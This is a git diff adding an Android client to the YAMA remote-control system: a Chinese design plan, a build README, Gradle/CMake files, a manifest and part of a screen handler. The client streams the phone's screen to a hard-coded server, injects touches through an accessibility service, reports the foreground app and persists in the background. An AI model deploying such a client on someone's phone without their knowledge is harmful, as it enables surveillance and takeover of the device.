## 二、技术选型
|
||||
|
||||
### 2.1 屏幕捕获
|
||||
|
||||
**方案**:`MediaProjection` API(Android 5.0+)
|
||||
|
||||
```
|
||||
MediaProjection
|
||||
└── VirtualDisplay (Surface)
|
||||
└── MediaCodec (Surface input,零拷贝)
|
||||
└── H.264 NALU → JNI → C++ ScreenHandler → 网络发送
|
||||
```
|
||||
|
||||
- 无需 root,官方公开 API
|
||||
- 通过 `ForegroundService` + `FOREGROUND_SERVICE_MEDIA_PROJECTION` 维持后台运行
|
||||
- **实际采用零拷贝路径(Path A)**:VirtualDisplay 的 Surface 直接绑定 `MediaCodec` 输入 Surface,无 ImageReader 中间环节
|
||||
|
||||
### 2.2 视频编码
|
||||
|
||||
**已采用**:Android `MediaCodec`(硬件 H.264 加速)✅
|
||||
|
||||
- VirtualDisplay Surface → MediaCodec Surface input → H.264 NALU,零拷贝
|
||||
- 关键帧前自动拼接 SPS+PPS,确保解码器可初始化
|
||||
- 每 2 秒强制触发一次 IDR(兼容忽略 `KEY_I_FRAME_INTERVAL` 的软编码器)
|
||||
- 编码分辨率:长边限制 1080,保持宽高比,宽高各自 2 对齐(H.264 要求)
|
||||
|
||||
**编码流水线**:
|
||||
```
|
||||
VirtualDisplay → MediaCodec(Surface input) → CODEC_CONFIG(SPS/PPS) + IDR+P 帧
|
||||
→ onOutputBufferAvailable → JNI nativeOnH264Frame → C++ g_screenHandlers (broadcast) → TCP
|
||||
```
|
||||
|
||||
### 2.3 输入控制
|
||||
|
||||
**已采用**:`AccessibilityService`(`ControlService.kt`)✅
|
||||
|
||||
| 事件 | 映射 |
|
||||
| --- | --- |
|
||||
| `WM_LBUTTONDOWN/MOVE/UP` | 累积路径,UP 时判断:位移 < 10px → 单击(dispatchTap),否则 → 拖拽(dispatchTouchGesture) |
|
||||
| `WM_LBUTTONDBLCLK` | 双击:两次 80ms 手势,间隔 200ms |
|
||||
| `WM_RBUTTONDOWN` | 长按 600ms |
|
||||
| `WM_MOUSEWHEEL` | delta > 0(滚轮上)→ 手指下划 +400px;delta < 0 → 手指上划 -400px |
|
||||
| `WM_KEYDOWN` Backspace/ESC | `GLOBAL_ACTION_BACK` |
|
||||
| `WM_KEYDOWN` VK_HOME (0x24) | `GLOBAL_ACTION_HOME` |
|
||||
| `WM_KEYDOWN` VK_APPS (0x5D) | `GLOBAL_ACTION_RECENTS` |
|
||||
| `WM_KEYDOWN` PrtSc (0x2C) | `GLOBAL_ACTION_TAKE_SCREENSHOT` |
|
||||
|
||||
**关键实现细节**:
|
||||
|
||||
- 协议:`COMMAND_SCREEN_CONTROL` + MSG64(固定 48 字节),**坐标从 lParam(offset 24)读取**,与 Windows/Linux/macOS 客户端完全一致;不读 pt.x/pt.y(64-bit MSG 与 MSG64 的 pt 偏移不同,直接读会得到错误 Y 坐标)
|
||||
- 坐标映射:`phys = enc * physSize / encSize`(编码空间 → 物理屏幕空间)
|
||||
- 单击路径非退化:`moveTo(x,y); lineTo(x+1,y)`,避免 Android 静默拒绝零长度手势路径
|
||||
- C++ → Kotlin 回调:`DispatchControlEvent()` 全局函数通过 JNI AttachCurrentThread → `ControlService.onControlEvent(@JvmStatic)` → post 到主线程 Handler
|
||||
|
||||
### 2.4 网络传输
|
||||
|
||||
与 Linux 完全相同的 POSIX socket 路径:
|
||||
- TCP 控制通道(`IOCPClient.cpp` 已在 Linux 验证)
|
||||
- KCP over UDP 视频流(`ikcp.c` 纯 C,NDK 直接编译,当前未启用)
|
||||
- TLS/AES 加密复用 `common/aes.c`
|
||||
|
||||
---
|
||||
|
||||
## 三、目录结构(实际)
|
||||
|
||||
```
|
||||
android/
|
||||
├── PLAN.md # 本文件
|
||||
├── README.md # 编译与安装说明
|
||||
├── build_apk.sh # 编译脚本(release/debug/clean)
|
||||
├── yama-release.jks # 签名密钥库(密码通过 YAMA_PWD 环境变量传入)
|
||||
├── app/
|
||||
│ ├── build.gradle
|
||||
│ ├── proguard-rules.pro # 保留 JNI 方法名
|
||||
│ └── src/main/
|
||||
│ ├── AndroidManifest.xml
|
||||
│ ├── java/com/yama/client/
|
||||
│ │ ├── MainActivity.kt # 权限申请 + 启动 Service
|
||||
│ │ ├── CaptureService.kt # ForegroundService:MediaProjection + MediaCodec
|
||||
│ │ ├── ControlService.kt # AccessibilityService:手势注入 + 全局键 + 活动窗口上报
|
||||
│ │ └── YamaBridge.kt # JNI 声明(nativeInit/Stop/SetScreenSize/OnH264Frame)
|
||||
│ ├── cpp/
|
||||
│ │ ├── CMakeLists.txt
|
||||
│ │ ├── main.cpp # NDK 入口:连接/心跳/DataProcess/DispatchControlEvent
|
||||
│ │ ├── ScreenHandler.h # 子连接管理:发送 BitmapInfo/H264 帧,接收 SCREEN_CONTROL
|
||||
│ │ ├── android_compat.h # 平台兼容头(强制注入替代修改共用源文件)
|
||||
│ │ ├── common/ → ../../common/ # 符号链接(commands.h 等)
|
||||
│ │ ├── client/ → ../../client/ # 符号链接(IOCPClient 等)
|
||||
│ │ └── lib/
|
||||
│ │ ├── arm64-v8a/libsign.a
|
||||
│ │ ├── arm64-v8a/libzstd.a
|
||||
│ │ ├── armeabi-v7a/libsign.a
|
||||
│ │ └── armeabi-v7a/libzstd.a
|
||||
│ └── res/
|
||||
│ ├── mipmap-*/ic_launcher.png # 传统图标(各密度)
|
||||
│ ├── mipmap-*/ic_launcher_foreground.png # Adaptive Icon 前景层
|
||||
│ ├── mipmap-anydpi-v26/ic_launcher.xml # Adaptive Icon 定义
|
||||
│ ├── values/colors.xml # ic_launcher_background (#F2F2F2)
|
||||
│ ├── values/strings.xml
|
||||
│ └── xml/accessibility_service_config.xml
|
||||
├── build.gradle (project-level)
|
||||
└── settings.gradle
|
||||
```
|
||||
|
||||
> **注**:原计划中的 `InputHandler.cpp` 已合并至 `main.cpp`(`DispatchControlEvent` 全局函数)和 `ControlService.kt`;`SystemManager.cpp` 留待 Phase 4。
|
||||
|
||||
---
|
||||
|
||||
## 四、开发阶段
|
||||
|
||||
### Phase 0:工程初始化 ✅ 已完成
|
||||
|
||||
- 创建 Android Studio 项目,配置 NDK + CMake
|
||||
- `CMakeLists.txt` 引入 `common/`、`client/` 源文件(与 `linux/CMakeLists.txt` 同构)
|
||||
- 编译验证 `IOCPClient.cpp + Buffer.cpp + sign_shim_unix.cpp + ikcp.c` 在 NDK 下无错误
|
||||
- `SimplePlugins/sign_lib/` 新增 `sha256_portable.h`(纯 C,零外部依赖)和 `build_android.sh`,在 WSL + NDK r27c 下成功交叉编译,产物已复制至 `android/app/src/main/cpp/lib/{arm64-v8a,armeabi-v7a}/libsign.a`
|
||||
|
||||
### Phase 1:连接与协议 ✅ 已完成
|
||||
|
||||
- 移植 `linux/main.cpp` 的连接逻辑到 `android/cpp/main.cpp`
|
||||
- `CaptureService.kt` 通过 `YamaBridge.nativeInit()` 启动 C++ 网络线程
|
||||
- 实现登录握手(`LOGIN_INFOR`)、心跳(`TOKEN_HEARTBEAT` + `CMD_HEARTBEAT_ACK` RTT 估算)、认证状态机(`client_auth_state.h`)
|
||||
- 设备信息上报:ANDROID_ID(XXH64 作为 ClientID)、型号、OS 版本、分辨率
|
||||
- 心跳日志限流:60 秒最多打印一次,避免 logcat 刷屏
|
||||
|
||||
### Phase 2:屏幕捕获与编码 ✅ 已完成
|
||||
|
||||
- `CaptureService.kt`:申请 `MediaProjection`,建立 `VirtualDisplay`,Surface 直连 `MediaCodec`
|
||||
- SPS/PPS 缓存,IDR 帧发送前自动拼接,子连接 `COMMAND_NEXT` 后开始推流
|
||||
- `ScreenHandler.h`:发送 `TOKEN_BITMAPINFO`(含 `ScreenSettings.QualityLevel=H264`),`SendH264` 封装帧头
|
||||
- 服务端 H264 解码器正常显示 Android 屏幕 ✅
|
||||
- 服务端适配:`ScreenSpyDlg.cpp` 新增 `ComputeAdaptiveLayout()` 自适应缩放和信箱黑边,`m_offsetX/Y` 修正坐标映射(已合入 `main` 分支)
|
||||
|
||||
### Phase 3:操作控制 ✅ 已完成(branch: feature/android-remote-control)
|
||||
|
||||
- `ControlService.kt`(`AccessibilityService`):手势注入、全局键、双击/长按/滚轮
|
||||
- `main.cpp::DispatchControlEvent()`:JNI 反向调用,将 `COMMAND_SCREEN_CONTROL` 路由到 Kotlin
|
||||
- `ScreenHandler.h::OnReceive`:子连接也可接收 `COMMAND_SCREEN_CONTROL`,统一调用 `DispatchControlEvent`
|
||||
- 坐标 Bug 修复:64-bit MSG 与 MSG64 的 `pt.x/pt.y` 偏移不同(MSG: offset 36,MSG64: offset 40);改为从 lParam(两者均在 offset 24)提取坐标,与其他所有客户端保持一致
|
||||
- 单击无效 Bug 修复:零长度手势路径被 Android 静默拒绝;tap 改用 `lineTo(x+1, y)` 非退化路径
|
||||
- 代码审查修复:JNI `ExceptionClear()`
|
||||
|
||||
### Phase 3 后期修复 ✅ 已完成
|
||||
|
||||
发现并修复的生产问题:
|
||||
|
||||
| 问题 | 根因 | 修复文件 |
|
||||
|------|------|---------- |
|
||||
| 静止屏幕首帧黑屏 10-60 秒 | SurfaceFlinger 空闲优化:无脏区时不向 VirtualDisplay 推帧,`REQUEST_SYNC_FRAME` 永远排队等不到输入帧 | `CaptureService.forceFirstFrame()`:VirtualDisplay 临时 resize +2px 触发强制合成;`main.cpp` 在 `SendBitmapInfo` 后调用 `ForceFirstFrameFromJava()` |
|
||||
| 部分硬件编码器 IDR 帧未被识别 | 高通等 SoC 对强制 IDR 不设置 `BUFFER_FLAG_KEY_FRAME`,`SendLoop` 将其当作 P 帧丢弃,首帧永远发不出 | `CaptureService.isNaluKeyframe()`:扫描 Annex-B NALU type 5/7/8 补充判断 |
|
||||
| H.264 推流在 `SendBitmapInfo` 前卡住 | 推送模式下服务端 `COMMAND_NEXT` 到达时 `setManagerCallBack` 尚未注册消息被丢弃,`m_started` 永远为 `false` | `ScreenHandler.h::SendBitmapInfo()` 末尾直接 `m_started=true; m_cond.notify_all()` |
|
||||
| 多用户不能同时观看/控制 | `g_screenHandler` 单指针 + `g_screenSpyRunning` 互斥锁,只允许一条子连接 | `main.cpp`:改为 `std::set<AndroidScreenHandler*> g_screenHandlers`,`nativeOnH264Frame` 广播给全部 handler;每个 `COMMAND_SCREEN_SPY` 独立建立子连接,对齐 Windows/Linux/macOS 客户端行为 |
|
||||
|
||||
### Phase 4:系统信息与稳定性(进行中)
|
||||
|
||||
**已完成:**
|
||||
|
||||
| 功能 | 说明 |
|
||||
|------|------|
|
||||
| 活动窗口上报 | `ControlService` 监听 `TYPE_WINDOW_STATE_CHANGED`,通过 JNI `getActiveWindow()` 上报当前前台包名;锁屏时上报 `"Locked"` |
|
||||
| 心跳间隔下限 | Android 侧将服务端下发的 `ReportInterval` 强制限制为 `max(收到值, 30)`,防止 5s 高频心跳耗电 |
|
||||
| 服务端心跳超时延长 | `CheckHeartbeat()` 超时阈值从 `max(60, interval*3)` 改为 `max(120, interval*3)`,与 30s 心跳间隔留出 4 倍余量 |
|
||||
| CPU 频率上报 | `GetCpuMHz()` 优先读 `/sys/devices/system/cpu/*/cpufreq/cpuinfo_max_freq`,虚拟机无此节点时回退读 `/proc/cpuinfo` 的 `BogoMIPS` |
|
||||
| 后台保活 | `ForegroundService` + 持久通知(Phase 2 已完成),豁免 Doze 模式网络限制 |
|
||||
| 应用图标 | 自定义眼睛图标,支持 Android 8+ Adaptive Icon(前景层 + 浅灰背景),兼容各厂商形状裁切 |
|
||||
| Release 签名 | `yama-release.jks` 随仓库分发,密码通过 `YAMA_PWD` 环境变量或交互输入,保证多机一致签名 |
|
||||
|
||||
**待完成:**
|
||||
|
||||
- 处理 `MediaProjection` 被用户撤销的情况(弹出通知,引导重授权)
|
||||
- 连接断线自动重连后子连接同步重建(目前 `ScreenSpyThread` 有 20 次重试,但主连接重连后子连接未同步恢复)
|
||||
- `WM_MBUTTONDOWN`(中键)手势映射(目前静默丢弃)
|
||||
- `SystemManager` 封装:将 Java 层已上报的设备信息(型号、版本、IP)统一封装为独立模块
|
||||
|
||||
---
|
||||
|
||||
## 五、关键约束与风险
|
||||
|
||||
| 风险 | 影响 | 状态 |
|
||||
|------|------|------|
|
||||
| ~~`libsign.a` 无 ARM 构建~~ | ~~Phase 0 阻塞~~ | ✅ 已解决:`sha256_portable.h` + `build_android.sh` |
|
||||
| Android 12+ `MediaProjection` 需每次重新申请 | 后台录屏被中断 | `ForegroundService` 保活 + 通知引导重授权 |
|
||||
| `AccessibilityService` 用户需手动开启 | 操作控制功能受限 | UI 引导流程,说明开启步骤 |
|
||||
| 某些厂商 ROM 限制后台 Service | 连接断开 | 电池优化白名单申请 |
|
||||
| H.264 Baseline Level 对齐 | 服务端解码兼容性 | `MediaCodec` 输出指定 `profile=Baseline`,与 x264 现有配置一致 |
|
||||
| `AccessibilityService` 无法向系统设置页面注入手势 | 设置界面无法远程操作 | Android 安全限制,无解,提示用户 |
|
||||
|
||||
---
|
||||
|
||||
## 六、代码审查注意事项
|
||||
|
||||
### 最高原则:既有功能无破坏
|
||||
|
||||
增加 Android 客户端支持时,Windows/Linux/macOS 客户端的全部既有功能必须保持正常。每次改动上线前须验证:
|
||||
|
||||
| 检查项 | 说明 |
|
||||
| --- | --- |
|
||||
| `isAndroidRemote` 初始值为 `false` | 非 Android 客户端走原有代码路径,不受影响 |
|
||||
| `updateUIForOrientation()` Android 分支有 `isAndroidRemote &&` 守卫 | 非 Android 客户端不会进入沉浸模式分支 |
|
||||
| `NotifyResolutionChange` 新参数有默认值 `= ""` | 现有调用点即便漏传也能正常编译和运行 |
|
||||
| `FindHostByClientID` 与 `FindHostByIP` 一致的指针返回约定 | ScreenSpyDlg 在 UI 线程(OnInitDialog)调用,OnReceiveComplete 在 IO 线程调用,后者读 `additonalInfo[]` 为只读操作,低概率竞争 |
|
||||
| Web 端坐标映射 `getTouchPos` 使用 `getBoundingClientRect()` | 动态取 canvas 实际显示尺寸,CSS 拉伸不影响坐标精度 |
|
||||
| Android 边缘手势检测有时间和距离双重门槛 | 普通慢速拖拽不会被误识别为系统手势 |
|
||||
|
||||
### 审查流程
|
||||
|
||||
1. `git diff HEAD` 逐文件审查,重点关注非 Android 代码路径的改动
|
||||
2. 确认所有新增条件分支均以 `isAndroidRemote`、`client_type === 'APK'` 等 Android 专有标志守卫
|
||||
3. 共享协议结构体(`commands.h`、`LOGIN_INFOR`、`szReserved`)改动需确认向前/向后兼容
|
||||
4. 服务端 C++ 改动在 Windows 下编译,前端 `index.html` 在桌面和移动浏览器两端验证
|
||||
|
||||
---
|
||||
|
||||
## 七、不在本期范围
|
||||
|
||||
- 音频监听(`AudioRecord` + Opus 编码)
|
||||
- 文件管理(已有 `FileTransferV2`,后期可直接接入)
|
||||
- 摄像头(前/后摄)
|
||||
- Shell 终端(`/system/bin/sh` + PTY,可参考 `PTYHandler.h`)
|
||||
- Root 特权功能(uinput、内核注入)
|
||||
172
android/README.md
Normal file
@@ -0,0 +1,172 @@
|
||||
# YAMA Android 客户端
|
||||
|
||||
YAMA 的 Android 客户端,允许服务端将 Android 设备作为受控主机进行远程查看和操控。功能包括:
|
||||
|
||||
- 屏幕实时截图并推流给服务端
|
||||
- 接收服务端的触控/按键指令并注入到系统
|
||||
- 后台保持心跳连接,支持长期驻留
|
||||
|
||||
---
|
||||
|
||||
## 编译前:配置服务端地址
|
||||
|
||||
服务端 IP 和端口在源码中硬编码,编译前必须修改:
|
||||
|
||||
文件:`app/src/main/java/com/yama/client/MainActivity.kt`
|
||||
|
||||
```kotlin
|
||||
private val serverIp = "91.99.165.207" // 改为你的服务端 IP
|
||||
private val serverPort = 443 // 改为你的服务端端口
|
||||
```
|
||||
|
||||
改完再执行编译,否则客户端连不上服务端。
|
||||
|
||||
---
|
||||
|
||||
## 编译环境
|
||||
|
||||
在 **WSL(Ubuntu)或原生 Linux** 上编译,Windows 原生环境不支持。
|
||||
|
||||
| 依赖 | 版本要求 | 安装命令 |
|
||||
|---|---|---|
|
||||
| Java | 17+ | `sudo apt install openjdk-17-jdk` |
|
||||
| CMake | 3.22+ | `sudo apt install cmake` |
|
||||
| Ninja | 任意 | `sudo apt install ninja-build` |
|
||||
| Android SDK | 含 build-tools | 见下方说明 |
|
||||
| Android NDK | 30.x(Linux 版) | 见下方说明 |
|
||||
|
||||
### Android SDK
|
||||
|
||||
推荐通过 Android Studio 安装,安装后 SDK 默认在:
|
||||
|
||||
- Windows:`%USERPROFILE%\AppData\Local\Android\Sdk`
|
||||
- Linux:`~/Android/Sdk`
|
||||
|
||||
WSL 环境下脚本会自动检测 Windows 侧的 SDK,也可以手动指定:
|
||||
|
||||
```bash
|
||||
export ANDROID_HOME=/mnt/c/Users/<用户名>/AppData/Local/Android/Sdk
|
||||
```
|
||||
|
||||
### Android NDK(Linux 版)
|
||||
|
||||
> **重要**:必须使用 **Linux 版 NDK**,Windows NDK 的 `.exe` 工具无法在 WSL 内执行。
|
||||
|
||||
```bash
|
||||
# 下载 Linux NDK(约 600 MB)
|
||||
wget https://dl.google.com/android/repository/android-ndk-r30b-linux.zip
|
||||
unzip android-ndk-r30b-linux.zip -d $HOME
|
||||
|
||||
# 解压目录名可能带字母后缀(r30、r30b 等),统一重命名
|
||||
mv $HOME/android-ndk-r30* $HOME/android-ndk
|
||||
```
|
||||
|
||||
脚本会自动检测 `~/android-ndk`,也可以通过环境变量指定:
|
||||
|
||||
```bash
|
||||
export ANDROID_NDK_HOME=$HOME/android-ndk
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 签名密钥(一次性准备)
|
||||
|
||||
Release APK 需要签名密钥。密钥库文件 `yama-release.jks` 已在仓库中,**密码需向仓库维护者获取**,或通过以下方式传入:
|
||||
|
||||
```bash
|
||||
# 方式一:环境变量(推荐,避免每次输入)
|
||||
export YAMA_PWD=密钥库密码
|
||||
|
||||
# 方式二:编译时脚本会交互提示输入
|
||||
```
|
||||
|
||||
如需重新生成密钥库(密码遗失等情况):
|
||||
|
||||
```bash
|
||||
cd android/
|
||||
keytool -genkeypair -keystore yama-release.jks \
|
||||
-alias yama -keyalg RSA -keysize 2048 -validity 10000 \
|
||||
-dname 'CN=YAMA,O=Internal,C=CN'
|
||||
```
|
||||
|
||||
> 密钥库文件本身不含私密信息,可以提交到 git;密码不要提交。
|
||||
> 重新生成密钥库后,已安装旧版本的设备需要先卸载再安装。
|
||||
|
||||
---
|
||||
|
||||
## 编译
|
||||
|
||||
在 WSL 或 Linux 终端中,进入 `android/` 目录:
|
||||
|
||||
```bash
|
||||
cd android/
|
||||
|
||||
# 编译 Release(默认,约 1.7 MB,推荐部署用)
|
||||
./build_apk.sh
|
||||
|
||||
# 编译 Debug(约 4 MB,含调试符号,开发排查用)
|
||||
./build_apk.sh debug
|
||||
|
||||
# 清理所有编译产物(切换配置或遇到奇怪错误时使用)
|
||||
./build_apk.sh clean
|
||||
```
|
||||
|
||||
编译成功后产物:
|
||||
|
||||
| 类型 | 路径 |
|
||||
|---|---|
|
||||
| Release | `ghost.apk` |
|
||||
| Debug | `ghost-debug.apk` |
|
||||
|
||||
---
|
||||
|
||||
## 安装到设备
|
||||
|
||||
### 1. 传输 APK
|
||||
|
||||
将 `ghost.apk` 拷贝到手机(USB 传输、微信文件传输等均可)。
|
||||
|
||||
### 2. 安装
|
||||
|
||||
在手机上用文件管理器找到 APK,点击安装。
|
||||
|
||||
如提示"禁止安装未知来源应用",需先开启允许:
|
||||
|
||||
- **Android 8+**:设置 → 应用 → 找到你使用的文件管理器 → 允许安装未知应用
|
||||
- **MIUI/ColorOS 等**:设置 → 隐私/安全 → 安装未知应用
|
||||
|
||||
### 3. 解除受限设置(Android 13+ 必须)
|
||||
|
||||
Android 13 及以上系统对手动安装的 APK 有额外限制,若不解除,无法授权 Accessibility Service:
|
||||
|
||||
1. 打开 **设置 → 应用 → YAMA**
|
||||
2. 点击右上角 **三点菜单**
|
||||
3. 选择 **"允许受限设置"**(Allow restricted settings)
|
||||
4. 使用 PIN 或指纹确认
|
||||
|
||||
> 此步骤每次重新安装 APK 后都需要重复执行一次。
|
||||
|
||||
### 4. 授权必要权限
|
||||
|
||||
**Accessibility Service**(必须,用于注入触控/按键)
|
||||
|
||||
设置 → 无障碍 → 已安装的应用 → YAMA → 开启
|
||||
|
||||
> 重装 APK 后此权限会被重置,需重新授权。
|
||||
|
||||
### 5. 启动
|
||||
|
||||
点击桌面 YAMA 图标启动,系统会弹出屏幕录制确认框,点击 **"立即开始"** 授权。
|
||||
|
||||
授权后应用进入后台运行,通知栏会显示一条持久通知表示服务正在运行。此后服务端即可在主机列表中看到该设备。
|
||||
|
||||
> 屏幕录制确认在每次应用重启后都会弹出,这是 Android 系统的强制要求,无法跳过。
|
||||
|
||||
---
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 建议在电池优化设置中将 YAMA 设为 **"不限制"**(或"不优化"),防止系统在后台将其杀掉
|
||||
- 路径:设置 → 应用 → YAMA → 电池 → 不限制
|
||||
- 心跳间隔最小 30 秒,长期后台运行耗电量与微信后台相当
|
||||
- 服务端可在设置中调大上报间隔(建议不超过 60 秒)以进一步降低耗电
|
||||
69
android/app/build.gradle
Normal file
@@ -0,0 +1,69 @@
|
||||
plugins {
|
||||
id 'com.android.application'
|
||||
id 'org.jetbrains.kotlin.android'
|
||||
}
|
||||
|
||||
android {
|
||||
namespace 'com.yama.client'
|
||||
compileSdk 35
|
||||
ndkVersion "30.0.14904198"
|
||||
|
||||
defaultConfig {
|
||||
applicationId "com.yama.client"
|
||||
minSdk 21
|
||||
targetSdk 35
|
||||
versionCode 1
|
||||
versionName "1.0"
|
||||
|
||||
ndk {
|
||||
abiFilters 'arm64-v8a', 'armeabi-v7a'
|
||||
}
|
||||
|
||||
externalNativeBuild {
|
||||
cmake {
|
||||
cppFlags '-std=c++17'
|
||||
arguments '-DANDROID_STL=c++_static'
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
externalNativeBuild {
|
||||
cmake {
|
||||
path "src/main/cpp/CMakeLists.txt"
|
||||
version "3.22.1"
|
||||
}
|
||||
}
|
||||
|
||||
signingConfigs {
|
||||
release {
|
||||
storeFile file("../yama-release.jks")
|
||||
storePassword System.getenv("YAMA_PWD") ?: ""
|
||||
keyAlias 'yama'
|
||||
keyPassword System.getenv("YAMA_PWD") ?: ""
|
||||
}
|
||||
}
|
||||
|
||||
buildTypes {
|
||||
release {
|
||||
minifyEnabled true
|
||||
shrinkResources true
|
||||
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'),
|
||||
'proguard-rules.pro'
|
||||
signingConfig signingConfigs.release
|
||||
}
|
||||
}
|
||||
|
||||
compileOptions {
|
||||
sourceCompatibility JavaVersion.VERSION_17
|
||||
targetCompatibility JavaVersion.VERSION_17
|
||||
}
|
||||
|
||||
kotlinOptions {
|
||||
jvmTarget = '17'
|
||||
}
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation 'androidx.core:core-ktx:1.13.1'
|
||||
implementation 'androidx.appcompat:appcompat:1.7.0'
|
||||
}
|
||||
2
android/app/proguard-rules.pro
vendored
Normal file
@@ -0,0 +1,2 @@
|
||||
# Keep all app classes — JNI method names must match exactly
|
||||
-keep class com.yama.client.** { *; }
|
||||
46
android/app/src/main/AndroidManifest.xml
Normal file
@@ -0,0 +1,46 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
|
||||
<uses-permission android:name="android.permission.INTERNET" />
|
||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
|
||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />
|
||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_MEDIA_PROJECTION" />
|
||||
|
||||
<application
|
||||
android:allowBackup="false"
|
||||
android:icon="@mipmap/ic_launcher"
|
||||
android:roundIcon="@mipmap/ic_launcher_round"
|
||||
android:label="YAMA"
|
||||
android:supportsRtl="true"
|
||||
android:theme="@style/Theme.YAMA">
|
||||
|
||||
<activity
|
||||
android:name=".MainActivity"
|
||||
android:exported="true">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN" />
|
||||
<category android:name="android.intent.category.LAUNCHER" />
|
||||
</intent-filter>
|
||||
</activity>
|
||||
|
||||
<service
|
||||
android:name=".CaptureService"
|
||||
android:foregroundServiceType="dataSync|mediaProjection"
|
||||
android:exported="false" />
|
||||
|
||||
<service
|
||||
android:name=".ControlService"
|
||||
android:description="@string/accessibility_service_description"
|
||||
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
|
||||
android:exported="true">
|
||||
<intent-filter>
|
||||
<action android:name="android.accessibilityservice.AccessibilityService" />
|
||||
</intent-filter>
|
||||
<meta-data
|
||||
android:name="android.accessibilityservice"
|
||||
android:resource="@xml/accessibility_service_config" />
|
||||
</service>
|
||||
|
||||
</application>
|
||||
|
||||
</manifest>
|
||||
56
android/app/src/main/cpp/CMakeLists.txt
Normal file
@@ -0,0 +1,56 @@
|
||||
cmake_minimum_required(VERSION 3.22)
|
||||
project(yama_client LANGUAGES CXX C)
|
||||
|
||||
set(CMAKE_CXX_STANDARD 17)
|
||||
set(CMAKE_CXX_STANDARD_REQUIRED ON)
|
||||
set(CMAKE_CXX_EXTENSIONS OFF)
|
||||
|
||||
# YAMA 根目录(相对于本文件:cpp/ → main/ → src/ → app/ → android/ → YAMA/)
|
||||
get_filename_component(YAMA_ROOT "${CMAKE_CURRENT_SOURCE_DIR}/../../../../../" ABSOLUTE)
|
||||
|
||||
# ---- 头文件搜索路径(与 linux/CMakeLists.txt 同构)----
|
||||
include_directories(
|
||||
${YAMA_ROOT}
|
||||
${YAMA_ROOT}/client
|
||||
${YAMA_ROOT}/compress
|
||||
${CMAKE_CURRENT_SOURCE_DIR} # android_compat.h
|
||||
)
|
||||
|
||||
# ---- 强制注入兼容头(替代修改共用源文件)----
|
||||
add_compile_options(-include "${CMAKE_CURRENT_SOURCE_DIR}/android_compat.h")
|
||||
|
||||
# ---- 核心源文件(与 linux/CMakeLists.txt 相同)----
|
||||
set(CORE_SOURCES
|
||||
${YAMA_ROOT}/client/Buffer.cpp
|
||||
${YAMA_ROOT}/client/IOCPClient.cpp
|
||||
${YAMA_ROOT}/client/sign_shim_unix.cpp
|
||||
${YAMA_ROOT}/common/ikcp.c
|
||||
)
|
||||
|
||||
# ---- Android NDK 入口 ----
|
||||
set(ANDROID_SOURCES
|
||||
main.cpp
|
||||
)
|
||||
|
||||
add_library(yama SHARED ${CORE_SOURCES} ${ANDROID_SOURCES})
|
||||
|
||||
# ---- 预编译静态库(由 SimplePlugins/sign_lib/build_android.sh 产出)----
|
||||
target_link_libraries(yama PRIVATE
|
||||
"${CMAKE_CURRENT_SOURCE_DIR}/lib/${ANDROID_ABI}/libsign.a"
|
||||
)
|
||||
|
||||
# ---- zstd(由 android/build_zstd_android.sh 产出)----
|
||||
target_link_libraries(yama PRIVATE
|
||||
"${CMAKE_CURRENT_SOURCE_DIR}/lib/${ANDROID_ABI}/libzstd.a"
|
||||
)
|
||||
|
||||
# ---- Android 系统库 ----
|
||||
target_link_libraries(yama PRIVATE android log)
|
||||
|
||||
# ---- 编译选项 ----
|
||||
target_compile_options(yama PRIVATE
|
||||
-O2
|
||||
-fvisibility=hidden
|
||||
-Wno-unused-parameter
|
||||
-Wno-missing-field-initializers
|
||||
)
|
||||
200
android/app/src/main/cpp/ScreenHandler.h
Normal file
@@ -0,0 +1,200 @@
|
||||
#pragma once
|
||||
// Android 屏幕处理器:管理截屏子连接,接收 Java 侧 MediaCodec 输出的 H.264 NALU,
|
||||
// 按协议封装后通过子连接发送给服务端。
|
||||
#include "common/commands.h"
|
||||
#include "client/IOCPClient.h"
|
||||
#include <atomic>
|
||||
#include <mutex>
|
||||
#include <condition_variable>
|
||||
#include <queue>
|
||||
#include <vector>
|
||||
#include <thread>
|
||||
#include <cstring>
|
||||
#include <cinttypes>
|
||||
#include <android/log.h>
|
||||
|
||||
#define LOGI_SH(...) __android_log_print(ANDROID_LOG_INFO, "YAMA_SCR", __VA_ARGS__)
|
||||
#define LOGE_SH(...) __android_log_print(ANDROID_LOG_ERROR, "YAMA_SCR", __VA_ARGS__)
|
||||
|
||||
extern uint64_t g_myClientID;
|
||||
// 定义在 main.cpp,供子连接的 OnReceive 调用
|
||||
extern void DispatchControlEvent(uint32_t msgVal, uint64_t wParam, int32_t ptX, int32_t ptY);
|
||||
|
||||
// Linux/macOS 共用的 BITMAPINFOHEADER 布局(与 Windows 完全一致)
|
||||
#pragma pack(push, 1)
|
||||
struct BmpInfoHeader {
|
||||
uint32_t biSize;
|
||||
int32_t biWidth;
|
||||
int32_t biHeight;
|
||||
uint16_t biPlanes;
|
||||
uint16_t biBitCount;
|
||||
uint32_t biCompression;
|
||||
uint32_t biSizeImage;
|
||||
int32_t biXPelsPerMeter;
|
||||
int32_t biYPelsPerMeter;
|
||||
uint32_t biClrUsed;
|
||||
uint32_t biClrImportant;
|
||||
};
|
||||
#pragma pack(pop)
|
||||
|
||||
class AndroidScreenHandler : public IOCPManager {
|
||||
public:
|
||||
AndroidScreenHandler(IOCPClient* client, int width, int height)
|
||||
: m_client(client), m_width(width), m_height(height),
|
||||
m_started(false), m_running(true), m_firstSent(false)
|
||||
{
|
||||
memset(&m_bmpHdr, 0, sizeof(m_bmpHdr));
|
||||
m_bmpHdr.biSize = sizeof(BmpInfoHeader);
|
||||
m_bmpHdr.biWidth = width;
|
||||
m_bmpHdr.biHeight = height;
|
||||
m_bmpHdr.biPlanes = 1;
|
||||
m_bmpHdr.biBitCount = 32;
|
||||
m_bmpHdr.biCompression = 0;
|
||||
m_bmpHdr.biSizeImage = (uint32_t)(width * height * 4);
